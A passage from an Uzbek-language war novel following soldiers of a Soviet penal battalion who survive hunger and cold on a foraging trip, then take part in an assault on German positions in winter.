кўраман. - Ўргансанг, ҳақиқатни англайсан,- деди Азлар. Алексеев ўйланиб қолди. Ҳозиргина эшитганлари бу ёш йигитнинг кўнглига ёқиб тушганди. ХХХ Комбат штабдан қуруқ қўл билан қайтиб келди. Яъни таъминот берилмабди. Икки юз чоғли одам олиб келди-ю, таъминот йўқ. Дивизияда ҳам ахвол оғир экан. " Яна озгина кутинглар, эрта-индин озиқ-овқат келиб қолади", дейишибди. Бу ёқда эса аскарлар оч. Ҳар ким топганини, кавшаб тирикчилик қиляпти. Нима қилиш керак? Яқин ўртада биронта қишлоқ ҳам йўқ. Шу зайлда қоладиган бўлса, аскарлар очликдан қирила бошлайди. Шу қаҳратонда оч қолиш катта йўқотишга олиб келиши тайин. У нима қилишни билмай рота командирларини ёнига чақирди. Уларга вазиятни тушунтирди. - Балки қўшни қисмлардан сўрармиз?-сўради Канаев. - Уларниг ҳам ахволи биздай абгор, ёрдам беришолмайди,- таъкидлади Субботин. - Менда бир фикр бор,- гапга қўшилди Гречков,- биз билан немислар маррасининг оралиғида картошка экилган дала бор, мен буни жанг пайтида билганаман, балки шу ердан картошка топармиз. - Шу қаҳратонда, бир- бир ярим метр қор остидан қандай топамиз,- эътироз қилди Корзун. - Мина, снарядлар ўйган чуқурларнинг ёнини титиб кўрамиз. - Бу билан батальонни тўйдириб бўлмайди, топсак, бир қоп картошка топармиз. Бошқа йўлини қилиш керак,- столни чертиб ўйланди Субботин. -Мен бир нима деёлмайман,- тиззасига урди Гречков. - Сенга даладан картошка излашни тақиқлай олмайман,- унга тикилди комбат,- лекин аскарларинг эҳтиёт бўлишсин, душман яқин. Бошқаларни нима билан тўйдираман, шунга ҳайронман. Янги келганларнинг ичида неча кунлардан буён туз тотмаганлари қанча. - Бу сафаргилар уруш кўрганлар экан, қурол тутишни ўргатмаймиз,- мавзуни бошқа томонга бурди Корзун. - Барчаси уруш кўрганлар, бу сафар қамоқдан келганлар йўқ,- ўртоғининг сўзини маъқуллади Канаев. - Хўш, таъминотни нима қиламиз?- сўради Гречков. - Бу масалани ҳозирча очиқ қолдирамиз,- комбатнинг ўрнига жавоб берди Канаев. Субботин ҳам елка қисиб қўлларини ёзди. ХХХ Сергей Алексеев ҳамма нарсага чидаши мумкину, аммо очликка тоқат қилолмасди. У бир неча кун оч қолгандан кейин қандай қилиб бўлмасин бир йўлини топишни ўйлай бошлади.Взводдаги биронта одамда урвоқ қолмаганини у биларди. Рост, кеча Гречковнинг топшириғи билан далага картошка излагани борганлар бир челак совуқ урган картошка топиб келдилар. Уни қайнатиб пўчоғи билан едилар. Қоринга юқ ҳам бўлмади. Бугун эрталаб Нуриддин унга битта оқ қанд берди. - Буни сен е, менинг тишмни оғритади,- деди у. Шундан кейин Сергей окопда турволиб роса атрофни кузатди. Шу яқин атрофда одамлар яшаган-ку, қаердадир қишлоқ бўлиши керак. Эҳтимол, ҳув анови кўриниб турган ўрмон ортидадир. Балки шу ўрмонга етиб олса, биронта қушми, ҳайвонми отиш мумкиндир. Лекин ўрмон ичида немислар бўлса-чи, уларга ўрмон яқин. У ўйлаб-ўйлаб таваккал қилиш керак деган қарорга келди. Дастлаб фикрини Дубовга айтди. У эса дарров эътироз қилди. - Жиннимисан? У ерда немислар тўлиб ётибди-ку. Боришинг билан кабоб қилиб еб қўйишади. Шунча узоқ жойга боришни ҳам айт. Яна бизни қочқин деб... - Э, калла,- деди Алексеев,- узоқ эмас, бундан ташқари, немиснинг кўзи бу ерда ўрмон билан иши йўқ. Биз билинтирмай боришга ҳаракат қиламиз. - Бўлмайди бу фикринг. - Ҳеч бўлмаса, битта-яримта қуш отармиз. Жа-а бўлмаса, дарёнинг тинчроқ жойига бориб муз ўйиб балиқ тутамиз. Мен биламан қандай балиқ тутишни. Нима, бу ерда очингдан ўлмоқчимисан? Унинг гапи Михаилни ўйлантириб қўйди. - Икковимиз борамизми?- пича ўйлаб туриб сўради у. - Беш-олти киши борсак ҳам бўлаверади, фақат анови Гречковни кўндириш керак. - У Петрушиннинг гапига киради. - Мен Петрушинни кўндирсам борасанми? - Агар уни кўндирсанг, битта менмас, ҳамма боради. Алесеев Петрушинни излаб кетди. У деди, бу деди, охири Петрушин Гречков билан гаплашадиган бўлди. Петрушин Гречков билан узоқ тортишди. Ниҳоят, Гречков Субботиннинг рухсатини олиб беришга ваъда берди. Аммо Игорь ҳам анойи эмас, ҳозир олиб бер рухсатни деб туриб олди. Ноилож қолган Гречков комбатнинг олдига кириб бориб бор воқеани айтиб берди ва " разведка учун жўнатайлик", деб илтимос қилди. Субботин уни оғзига қаратиб анча ўйланиб ўтирди-да, сўради: - Сенингча улар неча кунда келишади? - Ўрмонга эрталаб жўнашса, тўрт соатларда етишади, демак, уч ё тўрт кунда келишади. - Уларни жўнатавер, бошқа чорамиз йўқ, фақат "разведка мақсадида", деб уқтир. Гречков комбатнинг олдидан ўқдай учиб чиқди. Кечга яқин Нуриддин, Азлар, Громов, Фадеев, Алексеев, Дубовдан иборат кичкина отряд йўлга тушди. Громов бошлиқ қилиб тайинланди. Улар ўзларига етарлича қурол-яроғдан ташқари, болта, арқон, бир неча қоп ҳам олдилар. Қор қалин, йўл оғир ва йироқ. Туни билан йўл юришга қарор қилдилар. Чунки кечаси бу совуқда немисларнинг эътиборини тортмасликлари эҳтимоли катта эди. Уларнинг бахтига, шу кеча шамол йўқ, бир текис катта-катта қор ёғарди. Бу - ҳаво илиқ дегани. Бу ерларда қор ёғиб турса, совуқнинг заҳри кесилиб туради. Аввал бошда гаплашиб кетишаётган бўлишса ҳам, икки соатлар қор кечганларидан кейин бировдан садо чиқмай қўйди. Нуриддин ҳам индамай борар, ўртоқларидан қолишмай деб шунча тиришса ҳам бутун аъзойи баданини қандайдир ҳорғинлик босиб турар, қулоғи баъзан чиппа бекилиб, эсноқ тутар, баъзан кўз олди қоронғилашгандай бўларди. Бу очликнинг белгиси эди. Буни сезиб ўзини иложи борича тетик, бардам тутишга интилиб борарди. Олдинда бораётган Азлар тўсатдан тўхтади. - Бўлди, юролмайман, ўртоқлар, мадорим қолмади. - Яна озгина чида, қардош,- Нуриддин унга таскин берди,- ўзингни тетик тут. - Ҳозир ҳушимдан кетиб қоламан. - Мақсудов, олға, олға, яна ўн беш минутдан кейин тўхтаймиз,- уни ундади Громов. Нуриддин камарини ечди-да, бир учини унга тутқазиб ўзи олдинга ўтди. - Буни ушлаб ол, мен сени тортиб кетаман. Азлар индамай унга бўйсунди. Қор баъзи ерларда тизза бўйи, баъзи ерларда белгача чиқиб борар, олдинда кетаётган Фадеев ҳам шунча тиришгани билан баъзан оёғини қордан суғуриб олишга мадори етмай тўхтаб қоларди. Олдинда қорайиб ўрмоннинг қораси кўриниб қолган бўлса ҳам унгача анча заҳмат чекишга тўғри келарди. -Йигитлар, ана ўрмон, қўл узатса етгудай масофада. Яна озгина йўл қолди. Ҳадемай унга етамиз,- ўртоқларини ундади Громов. - Колумб шундай деб ишонтириб одамларни Америкага олиб борган,- ҳазиллашди Дубов. Аммо унинг ҳазилига жавоб берадиган одам топилмади. Олтовлон сўнгги кучларини тўплаб илгарилаб боришарди. Громов айтган ўн беш минут ўтиб кетганига анча бўлди-ю, бироқ у тўхташни истамасди. - Витя, балки дам олармиз?- сўради Фадеев. - Йўқ,- деди Громов қатъий,- тўхтасак, туролмай қоламиз деб қўрқаман. Очлик ва совуқ бизни нобуд қилади. Ўт ёқиб исинадиган жой топгунча юришимиз керак, Вадим. Фадеев индамай яна олға интилди. Тонгга яқин баландроқ кўтарилган ерга етиб келганларида Фаеев тўхтади. Громоу у ёқ- бу ёққа аланглади. Нарироқда уч томондан қия кўтарилган ўйиқ жой бор эди, у Фадеевга ўша ерни кўрсатди. - Анови ер шамолдан пана. Ўша ерда тўхтаймиз. Ўйиққа етиб бориши билан Фадеев бор бўйича қорга кириб кетди. - Ҳамма пастга, йигитлар, қорни депсаб жой қиламиз, буюрди Громов ва ўзи биринчи бўлиб Вадимнинг ёнига тушди. Бир амаллаб ўзларига жой ҳозирладилар. Олти паҳлавон қор ўранинг ичида қолдилар. Бу ер изғириндан пана. Ҳар қалай музлаб қолишдан сақлар, эҳтимол. - Озгина дам олайлик, кейин ўтин топамиз,- деди Фадеев. Унинг гапи барчаларига маъқул тушди. Нуриддин ўтириб орқасига суянди. Шунда у орқасида ер борлигини сезди. Бу қияликнинг девори эди. Унинг бир ёнига Азлар, бир ёнига Дубов қисилиб ўтирдилар. Ҳаммалари жипс бўлиб ўтириб нафас ростламоқч эдилар. Аммо очлик ва мадорсизлик улардан устун келди. Ҳаммасини дарров уйқу элтди қўйди. Бу уйқу эмас, совуқнинг ҳалок қилгувчи жодуси эди. ХХХ У болалигидан тахмонга суяниб ўтиришни яхши кўрарди. Шу ерда ўтириб китоб ўқир, ёдлаган оятларини такрорлар, баъзида шу ўтиришида ухлаб қолар, онаси келиб бошини силар, уни эркаларди. Гоҳо отаси секин туртиб жойига ўтиб ётишини буюрарди. Ҳозир ҳам тахмонга суяниб маза қилиб ухлаб ётганди, тўсатдан устига отаси бор бўйи билан дарғазаб бўлиб бостириб келди-да, қаҳрли овозда бақирди: - Тур ўрнингдан! Тур деяпман!!! Отасини ҳеч қачон бундай аччиқланганини кўрмагани учун Нуриддин сапчиб ўрнидан туриб кетди. Ўрнидан турди-ю, ҳеч нарсани англамай туриб қолди. Атроф қор. Совуқ. Ёнида уч-тўрт одам бир-бирига елка қўйиб ётибди. Шундагина у ўзига келди. Икки қадам юриб бир сиқим қор олди, юзига суркади. Яна қор олиб оғзига солиб чайнади, сўнг калима келтирди. У секин чуқурдан бўйлаб атрофга қаради. Атроф қоронғи бўлса ҳам, беш-олти қадам нарида бир нарсалар қорда югуриб ўйнарди. Диққат билан қараб булар қуён эканини билди. Секин ортига қайтди-да, милтиғини қўлига олди. Затворни тортиб қўйиб, Азларнинг ҳам милтиғини олди, уни ҳам отишга шайлаб қўйиб, овоз чиқармасликка ҳаракат қилиб яна ўранинг четига келди ва ўзига қулай жой танлади. У шарпаларни узоқ мўлжалга олди, ниҳоят, тепкини босди-ю, иккинчи милтиқни ҳам олиб яна тепкини босди. Гумбурлаган овоз ўрмонда акс-садо берди. Ўгирилиб шерикларига қаради: биронтаси қимирлаб ҳам қўймади. Ўрадан чиқиб ҳалиги қуёнлар ўйнаётган жойга борди. Ҳайрият мўлжалдан адашмабди. Иккита қуённи кўтариб қайтди. Уларни шерикларининг ёнига ташлади-да, ўзи яна дарахтлар ичига борди. Излаб-излаб пастроқ ўсган дарахтларнинг қуруқ деб тусмоллаган шохларидан бир қучоқ синдирди. Ўрага тушиб ўтинни ташлади-да, Азларнинг елкасидан туртди. Унинг елкаларига, орқасига ура бошлади, телпагини бошига ишқаб-ишқаб ташлади. Шундагина Азлар кўзини очди. - Тур, Азлар, йигитларни уйғотайлик, бўлмаса, ёмон бўлади. Азлар инқиллаб ўрнидан қўзғолди. Нуриддин эса энди Дубовни " дўппослаётганди". Уни кўриб Азлар ҳам гандираклаб келиб Фадеевнинг устига ўзини ташлади. Бир неча дақиқадан кейин ҳамма уйғонди. Лекин ҳамма карахт эди. Нуриддин ўтинни қалаб Громовга қаради. - Гугуртни бер. Громов унга гугуртни узатди-да, соатига қаради. - Наҳотки,- деди у , соатини қулоғига тутиб кўраркан кўзларини катта-катта очиб,- ишлаяпти, наҳотки соат олти ярим бўлди? Ўтирганимизда беш ярим эди. Бир ярим соат бўлдими? - Йўқ,- жавоб берди Нуриддин,- кечаги беш яримда ўтиргандик, бугунги беш ярим ўтиб кетибди. У майда чўпларни синдириб қалаб гугурт чақди. Дарров ўт ҳам илаша қолди. Ярим соатдан кейин гуриллаган олов олдида ўтиришар, котелогда сув қайнар, Дубов ва Фадеев нимта-нимта қилиб чўпга илиб гўшт пиширишарди. - Ҳаммасини пиширгунимизча чидайсан,- Сергейга танбеҳ берди Фадеев. - Чидамай кетяпман-да. - Чида, чида, оз қолди. - Ма, қайноқ сув ичиб тур,- Громов унга котелогини узатди. Ниҳоят, ўртага қўйилган каттагина шох устидаги гўштни Фадеев тақсимлади. Ҳаммалари ютоқиб-ютоқиб, чаппиллатиб тановул қилишга киришдилар. - Бугун бизни Нурик ўлимдан қутқарди. Агар у уйғотмаганда шу ерда мангу ухлардик,- дея миннатдор бўлиб Нуриддинга қаради Фадеев. - Қандай қилиб уйғониб кетдинг, шунисига ҳайронман. - Мени отам уйғотди. - Отам?-сўради Громов. - Ҳа, отам. - Қандай қилиб? - Шундай. Тушимга кирди. Қўрқитди. Мен қўрқиб туриб кетдим. Қарасам ҳаммамиз қотиб қолибмиз. Тепага чиқиб қарасам қуёнлар юрибди. - Бу бизга парвардигорнинг берган кўмаги,- деди Азлар. Ростмана қорни тўйгандан кейин Громов ўрнидан туриб керишди. Ўртоқларига юзланди. - Тонг отди. Бу ёғига йўлни белгилаймиз-да, олдинга, йигитлар,- Громов тепага чиқиб ўрмонга тикилди. Бу ерларда дарахтлар сийрак, ичкарилаган сари қалинлашиб борарди. У олдинга бошлади, бошқалар унга эргашиб йўлга тушдилар. Улар шу бўйи қош қорайганда тўхтадилар. Громовнинг фикрича, шу яқин атрофда биронта қишлоқ бўлиши керак эди. Аммо қишлоқни топиш учун ўрмондан чиқиш керак. Бу эса хатарли. Бу ерлар немисларнинг измида. - Қишлоқ излаб нима қиламиз,- деди Алексеев,- мен ҳисоблаб кўрганман. Биз аллақачон немисларнинг орқасидамиз. Шундоқ чапга бурилсак, уларнинг орқасидан чиқамиз. Ўнг томонда нима бор - билмайман, балки ўрмон тугамас, балки қишлоқлар бордир. - Ҳозир бундай қиламиз,- маслаҳат солди Громов,- тунаш учун жой излаймиз, кечагидай қулай бўлиши керак. Қани, олға. Улар яна бироз юрганларидан кейин тўхтадилар. Қуюқ ўсган дарахтлар ичида ўзларига пана жой топдилар. Билмасдиларки, улардан бор-йўғи икки юз қадамлар нарида немисларнинг таъминот қисми жойлашганди. Алексеев адашмаганди. У ёқ- бу ёқни текшириб келиш учун жўнатилган Вадим ва Азлар тасодифан ўрмон четига келиб қолишиб немислар борлигидан бохабар бўлишди. - У ерда катта-катта чодирлар қурилган, тўртта. Ичида печкаси ҳам бор мўриси чиқиб турибди,- ахборот берди Азлар. - Бу, демак, шу ерда нон пиширишади дегани,- Алксеев билағонлик қилди. - Тўғри, - уни тасдиқладиГромов,- ақлингга балли. - Ҳужум қиламизми?- сўради Вадим. - Асло. Шу ерни яхшилаб ёдингларда тутинглар. Биз бу ерга яна келамиз. Ҳозир эса бу ердан зудлик билан кетамиз. Қани, туринглар, болалар. Энди ўнг томонга таваккал деб йўл соламиз. Улар яна туни билан йўл юрдилар. Тонг отишига яқин каттагина қишлоқдан чиқиб қолишди. Разведка учун борган Громов ва Дубов икки соатдан кейин, ростмана тонг отганда қайтдилар. - Йигитлар, кетдик. Қишлоқда немислар йўқ. Бир чолнинг айтишича, улар қишлоқни ташлаб кетишибди. Ҳозир ҳеч ким йўқ эмиш. Қишлоқ четидаги катта ҳовлига кириб борганларида ҳовлида қор кураь турган чолга дуч келдилар. - Оҳ, қочоқ болаларим. Сизлар чекиниб юрибсизлар. Мен эса бир ўзим бу ердан немисларни қувиб солдим,- ҳазиллашди у. - Тез кунларда биз уларнинг адабини бериб қўямиз, отахон,- деди Вадим гулдираб. Чол уларни куйга олиб кирди. Кампири уларни кўриб йиғлаб юборди. Ҳар бирининг юзларини силаб кўришди. - Менинг Ванкам ҳам қаердадир сизларга ўхшаб юргандир? Омонмикин? - Омон, онахон, омон,- унга таскин берди Громов,- яқинда ялпи ҳужумга ўтамиз, кўрасиз, хабар жўнатади. Кампир айланиб-ўргилиб юриб картошка пиширди. Чол дарров қора нонни печдан олиб кесди. Яхшилаб қоринни тўйдирганларидан кейин Громов Федот бобога келишларининг сабабини айтиб берди. Чол бшшини сарак-сарак қилиб кампирига қаради. - Мана, Александра, кўрдингми, шуларнинг ризқи экан сигирлар, энди олиб кетишади,-сўнг Громовга юзланди,- қишлоқда ўзимиз қолганмиз, қўшнининг оғилида тўртта сигир қолиб кетган. Ўт етарли, аммо биз уларни боқишга қарилик қилиб қоляпмиз, кучимиз етмайди. Ўзимизники етади. Ўшалардан иккитасини сўйиб бераман, олиб кетасизлар. Громовнинг маслаҳати билан кечгача дам олиб кечаси йўлга тушадиган бўлдилар. Тушгуча ухлаганларидан кейин Нуриддин ва Азлар иккови туриб чол билан қўшни оғилга ўтдилар. Катта сигирларнинг бирини ташқаридаги бостирмага олиб чиқиб Нуриддин бўғзига пичоқ тортди. Тезда уни саранжомлаб бўлиб иккинчисини олиб чиқдилар. Қоронғи тушган маҳал Федот бобо ва Александра момо билан хайрлашдилар. Федот бобо катта чана берди. Икки қоп картошка ва гўштни ортиб жўнадилар. Уларнинг ортга қайтишлари унча қийин бўлмади. Кечаси билан юриб аввалги тунаган жойларига келиб дам олдилар. Навбатма-навбат чанани икки кишилашиб тортиб борсалар ҳам, олдингидан тезроқ йўл босдилар. Бешинчи кун тонгда маррага етиб келдилар. Уларнинг топиб келган озиғи батальонга урвоқ ҳам бўлмади. Аммо бутун батальоннинг ҳаётини сақлаб қолишга йўл топган эдилар. Бу кейин маълум бўлди. ХХХ Бутун армия шиддатли ҳужумга тайёргарлик кўраётганди. Комбат Субботинни икки кундан кейин дивизия штабига чақирдилар. Бир неча қисм командирлари билан вазиятни муҳокама қилиб бўлган генерал майор Волохов Субботинга ҳужумни унинг батальони бошлаб бериши ва душманнинг олдинги маррасини қандай қилиб бўлмасин қўлга киритиши ҳақида кўрсатма берди. - Ҳужумни индинга эрталаб соат олти-ю ноль-нолда бошлайсан,- деди. Субботининг озиқ-овқат таъминоти ҳақидаги сўрови жавобсиз қолди. Батальоннинг ҳарбий тайёргарлиги тўғрисида гап очганда генерал уни жеркиб берди. - Сенга буйруқ берилди. Муҳокама учун мавзу эмас. Ҳамма жаримачиларинг жанг кўрган аскарлар. Тайёргарлик ҳам жанг майдонида, сенга озиқ ҳам жанг майдонида, ҳаммасини ўша ердан топасан. Мен сенга бирон кун фурсат беролмайман тайёргарликка. Бор, жанг қил! Кейин гаплашамиз. Субботин штабдан асабийлашиб қайтиб келди. У рота командирларини олдига чақириб вазиятни тушунтирди. - Душманга кучимиз етмаслиги аниқ, лекин қандай қилиб бўлмасин биринчи маррасини тортиб олишимиз керак. Батальон душман маррасига етиб бормасидан тўкилиб қолади,- деди у алам билан. - Артиллерия ёрдам берадими?-сўради Корзун. - Ҳа. - Биз артиллерия отишмаси бошланиши биланоқ ҳужумни бошлайлик, шунда илгарироқ сурилиб оламиз,- таклиф қилди Канаев. - Бундай қилсак ҳам бўлади, аммо душман пулемётлари ўйлантиряпти. Орқадан зарба бериш мумкин бўлганда эди. - Бунинг иложи бор,- деди Гречков,- орқадан чалғитувчи зарба беришимиз мумкин. Аммо у ёққа борганларни муқаррар ўт ичига юборамиз. Субботин ҳам, ротниклар ҳам унга қарадилар. Гречков уларга ўзи билганича душманнинг орқа тарафига йўл борлигини тушунтириб берди. Барчаси ўйланиб қолдилар. - Нима қиламиз, Алесей Иванович?- сўради Корзун,- балки таваккал қилармиз. - Шундай қилишга мажбурмиз,- маъқуллади Канаев. - Бу фикрга қўшиламан,- янги рота командири Александр Ивановга ҳам режа маъқул тушди. - У ёққа қанча аскар жўнатамиз?- сўради комбат. - Яхши қуроллантириб, иложи борича кўпроқ портлатувчи мосламалар билан таъминлаб икки взвод жўнатсак бўлар.- таклиф қилди Гречков. - Яхши. Яна бир томони улар биздан ўн минут олдин ҳужум бошлашлари ва биз томон ҳаракат қилишлари керак бўлади,- таъкидлади комбат. Бутун батальондан чанада юра оладиган, бақувват йигитлардан олтмиш нафари уч соат ичида саралаб олинди. Уларнинг ҳар бир автоматлар, олтитадан граната билан таъминланди. Бу отрядни Виталий Громов бошлаб борадиган бўлди. Жўнаб кетиш олдидан Громов ўртоқлари билан хайрлашгани келди. Ҳар бири билан қучоқлашар экан, Нуриддинга келганда "илтимос, сен мени мусулмонча дуо қилгин, яна тирик кўришайлик сен билан" деди-ю, кўз ёшини кўрсатмаслик учун шарт бурилиб кетиб қолди. - У биздан ажралаётганига ўкиняпти,- деди Вадим. - Ундан ажралиш бизга ҳам оғир,- Азлар пичирлади. ХХХ Ҳали тонг отмасдан артиллерия биринчи залп берди. Комбат окоп қирғоғига чиқди-да, бор овози билан қичқирди: - Батальон!!! Олға-а-а!!! Тўрт юздан ортиқ одам унинг ортидан душман сари югурди. Биров орқада қолишни истамас, жон-жаҳди билан олдинга югуриб боришар, артиллерия чалғитиб турганда кўпроқ йўл босиб ўтишни истаган комбат тинмай олға юришга ундаб бақирарди. Худди шу дамда душманнинг орқа тарафида, беш-олти чақирим нарида жуда катта портлаш бўлиб, улкан аланга осмонга ўрлади. Тўсатдан бошланган ҳужум немисларни эсанкиратиб қўйган бўлса ҳам, кўп ўтмай пулемётлар ишга тушди. - Батальо-он! Олға!!! - қичқирарди ҳамон комбат. - Нур, мени йўқотиб қўйма! Овоз бериб тур!- чақирарди ёнма-ён югуриб кетаётган Азлар. Нуриддин милтиғини маҳкам ушлаб олиб олдинга олдинга интилар, қорга йиқилар, турар, қор босган ўйдим-чуқурларга тушиб кетар, лекин қандайдир ҳиссиёт уни олға боришга ундарди. Немисларнинг окопига юз метрлар қолганда пулемёт кўз очирмай қўйди. Ҳамма ерга ётди. - Азлар, қорга чуқурроқ кирвол! - Мен яхшиман, ўзингга ҳушёр бўл, бошингни кўтарма! Шу пайт тасодиф рўй берди. Тўпларнинг снарядларидан иккитаси нақ немис пулемётлари олдида портлаб тупроқ ва қорни девор қилиб осмонга кўтарди. - Рота-а! Олға-а!- Гречков бор овозида қичқириб пулемёт жойлашган нуқта томон тинимсиз ўқ узиб югурди. Унга қўшилиб ўнлаб одам бош кўтарди. Немис пулемёти томон кимдир граната ирғитди. Батальоннинг олдинги сафидагилар окопларга етиб олдилар. Трашшея бўйлаб икки томон бор-йўғи ўн беш минутлар тўқнашди-ю, кутилмаганда душман чекина бошлади. Немислар маррани ташлаб чиқдилар. Шимоли-шарқ тарафда, улардан анча узоқда жанг авжига чиққанди. Негадир бу томонда немислар тез чекинишди. - У тарафда Громов отряди бор, бутун батальонни ўша томонга буриш керак,- деди Субботин Канаевга,- тезда ротникларга етказинглар, менинг орқамдан бутун батальон олға юради. Буйруқ оғиздан оғизга ўтди, бир неча фурсатда бутун батальон бу буйруқни эшитди. Субботиннинг ўзи биринчи бўлиб окопдан чиқди-да, жангчиларни олдингга бошлади. Жанг шиддати бутун линия бўйлаб ўнг томонга сурилди. Қаттиқ ҳужумга учраган душман қочиб борарди. Икки чақиримларча югурганларидан кейин яна окопларга дуч келишди. Бу окоплар ўнг ва чап томонларга чўзилиб кетган, чамаси, душманнинг иккинчи позицияси эди. Шу ерга келганда комбат батальонни тўхтатди. Сабаби, олдинда гулдираб танклар кўринди. Орқадан ҳам ўзимизнинг танклар кела бошлади. Аммо танклар жанги узоқ чўзилмади. Душман танклари ҳам, бизникилар ҳам олдинга юришга қийналарди.Танклар кутилмаганда қор ўпқонига тушиб кетар, айримлари ботиб қоларди. Бир неча муддат танклар отишмаси бўлди-ю, немис танклари келган излари бўйлаб ортга тислана бошлади. Ўзимизникилар ҳам батальон эгаллаган маррага етиб келолмади. Субботин ротникларга бутун траншея бўйлаб мудофага туришни буюрди. Беш-олти чақирим жойда роталар тақсимланди. Тезда алоқачилар алоқани тиклаганларидан кейин дивизия штабидан буйруқ бўлди. Энди батальон шу маррани маҳкам тутиши ва бир қадам ҳам ортга чекинмаслиги керак эди. Улар босиб ўтиб кетган биринчи линияга дарров тозалов отряди келиб жойлашибди. Икки соатдан кейин немислар ҳужумга ташланди. Матонат билан ҳужум қайтарилди. Яна икки соат ўтиб галдаги ҳужумни ҳам қайтаришга тўғри келди. Бу сафарги ҳужумлар танкларсиз бўлгани учун аввалгиларидан сал кучсиз эди-ю, аммо батальон ҳам тўкилиб қолганди. Уч юзга яқин одам қолган, ярадорлар кўп, ўқ-дори ҳам тугаб борарди. Комбат тезда штабдан ёрдам сўради. У ёқдан кечаси билан ўқ-дори етказиб беришга ваъда бердилар. Душман икки-уч ҳужум қилиб натижа чиқаролмаганидан кейин артиллериясини ишга солди. Артиллерия ўти босилганидан кейин миномётлар ишга тушди. Портлашлар авжига чиқди. Миномётларнинг чийиллаши асабларни эговлаб ташларди. Нуриддин ўзига пана жой излар у ёқ- бу ёққа юриб кўрди. Қаерга борса, шу ерга мина тушаётгандай бўлаверди. Эловраб кўзи ДЗОТга тушди. У ўзини шу томон олди. Шунча портлашлар бўлса ҳам ДЗОТнинг усти бутун мина тушса чидаб берадигандай эди. Немисларнинг иши пишиқ, ҳамма ишни мустаҳкам қилади. У ичкаридагиларга қаради. Биров уни қўли билан имлади. Бу Вадим эди. - Шу ерда жон сақлаймиз, кир бу ёққа. Торгина жойда ўндан ортиқ одам. У Азларни излади, лекин тополмади. - Азларни кўрдингми?- сўради Вадимдан. - Келиб қолар. балки- жавоб берди у. Нуриддин ортига қайтди. Қоқиниб-сурилиб югурди. Анча югургандан кейин "Азла-а-ар!" деб бақирди. Уч-тўрт марта чақирганидан сўнг биров овоз берди. Нуриддин овоз келган тарафга юрди. Ўн қадамча босувдики, "Нуриддин!" деди биров. Борса, окоп устига шпаллар қўйилиб устига тупроқ ташланган жойда Азлар ўтирибди. - Нима қилиб ўтирибсан бу ерда? - Бунинг устига мина тушса ҳам зиён етмайди, шу ерда ўтирамиз. - Анови ерда ДЗОТ бор экан, кўпчилик ўша ерда. Бу ерда кечаси музлаб қоламиз, юр,- ўртоғини ундади Нуриддин. - Манови чийиллашлар босилсин, кейин борамиз. Нуриддин унинг ёнига ўтирди. - Совқотдингми?- сўради у. - Ҳозирча йўқ, лекин кечаси қаттиқ совуқ бўлади. Ҳаво очиқ,- жавоб берди Азлар. Иккови бироз жим қолганларидан кейин Азлар Нуриддиннинг оёғига қаради. Унинг ўнг пой этиги оғзи очилиб пайтаваси кўриниб турарди. - Сен шу ерда ўтириб тур, мен ҳозир келаман, ҳеч қаёққа жилма,- Азлар милтиғини қўйиб окоп ичида эмаклаб кетди. Нуриддин унинг ортидан оғиз очишга ҳам улгурмади. Бир ўзи дўсти кетган томонга жавдираб ўтираверди. Ярим соатлардан кейин Азлар қайтди. Қўлида икки жуфт этик, анчагина латта-путта. - Буни кий,- Нуриддиннинг олдига бир жуфт этик ва бир ўрам пайтава ташлади. - Ўликлардан ечиб олдингми?- сўради Нуриддин унга ёвқараш қилиб. - Немисларнинг ўзлари беришди. " Бизга энди керак эмас, сув ўтказмайди, сизлар кийиб юринглар, Берлингача етволасизлар", дейишди. Нуриддин индамай хўмрайиб ўтираверганди, Азлар шартта унинг бир пой этигини тортиб ечиб олди. - Ирганмасддан кий буни. Оёғингни совуқ урса, сенга ёрдам берадиган одам йўқ, ўзингни ўзинг асра. У ўтириб ўзи ҳам этигини ечди. Пайтава жиққа хўл, оёқлари қип-қизил бўлиб кетганди. Нуриддиннинг оёқлари ҳам уникидан кам ахволда эмас. Олиб келган пайтаванинг бири билан оёғини обдон артиб Нуриддинга узатди. - Ма, бўл тез, сен ҳам оёғингни артиб қурит, шерикларнинг ёнига кетамиз. Иккови ҳам этикларни кийиб ўринларидан турувдиларки, орқа томондан биров окопга сирғалиб тушди. Бу Кружилин эди. - Ҳа, босмачилар шу ердамисизлар? - Нима дединг?!- деди Азлар унга ўгирилиб. - Ҳазиллашдим, ҳазиллашдим. Сизларни эркалаб шундай дедим,- Кружилин иккала қўлини кўтариб тиржайди. - Агар оғзингдан яна битта ножўя сўз чиқса, отиб ташлайман. Сен ўзинг қаерда эдинг? Нимага орқадан энди келяпсан, ифлос?!- дўлайди Азлар. Нуриддин дўстининг енгидан ушлаб қолди. - Ўзингни бос, Азлар, бу билан тенг бўлма. - Қаерда бўлардим, ҳамма қатори ҳужумда эдим. Ўқ-дори излар ўлган немисларнинг ёнини кавладим,- ўзини оқлади Кружилин. - Ҳужум пайтида ким билан эдинг?! Ким гувоҳ бўлади жанг қилганингга?! - Қандай гувоҳ? Ёнимда одамлар бор эди. - Ким масалан?- Азлар унинг тумшуғига тирғалди. - Улар ҳалок бўлишди. - Юр, Азлар, кетдик. Совқотдим, кечки совуқ тушди,- Нуриддин дўстининг енгидан ушлаб тортиб кетди. Орқаларидан ғудраниб Кружилин эргашди. Эни икки ярим, узунаси уч метрли хонага қисилиб кирдилар. - Нурикни бу ёққа ўтказиб юборинглар,- тўридан Фадеевнинг йўғон овози эшитилди. Бироздан кейин Петрушин кириб бу ерда кимлар борлигини белгилаб чиқиб кетди. - Бугун энди душман ҳужум қилмайди. Бемалол дам олишимиз мумкин, лекин кечаси ҳушёр бўлишимиз керак, тўсатдан ўрмалаб келиб қолишлари ҳам мумкин,- деди биров. - Хавотир олма, бу совуқда немис инидан чиқмайди,- таъкидлади Фадеев. Ҳаммалари асаларидек жипс бўлиб ўтирдилар. Бу кун энг оғир кунлардан бири бўлганди. ХХХ Тун ярмидан ўтганда Гречков ротаси оёққа турди. Ўнг томондаги даладан аста-аста булар томон бир тўда одам келмоқда. Қордек оппоқ кийинганлиги учун уларни дастлаб қараганда илғаб олиш қийин бўлса ҳам, кимдир пайқаб қолганди. Жангга шайланиб кутиб турдилар. Келаётганлар икки юз метрлар қолганда тўхташди. Сўнг иккитаси ажралиб чиқиб, қолганлари қорга ётиб олишди. - Ҳеч ким ўқ узмасин, булар ўзимизникилар бўлиши керак,- огоҳлантирди Гречков. Келаётганларнинг иккови бироз яқинлашганда Гречков баланд овозда сўради: - Ким келаётган? Наригилар тўхташди. - Ўзинглар кимсизлар? - Жарима батальонимиз. Келаётганларнинг бири ортга қайтди, бири олдинга юрди... 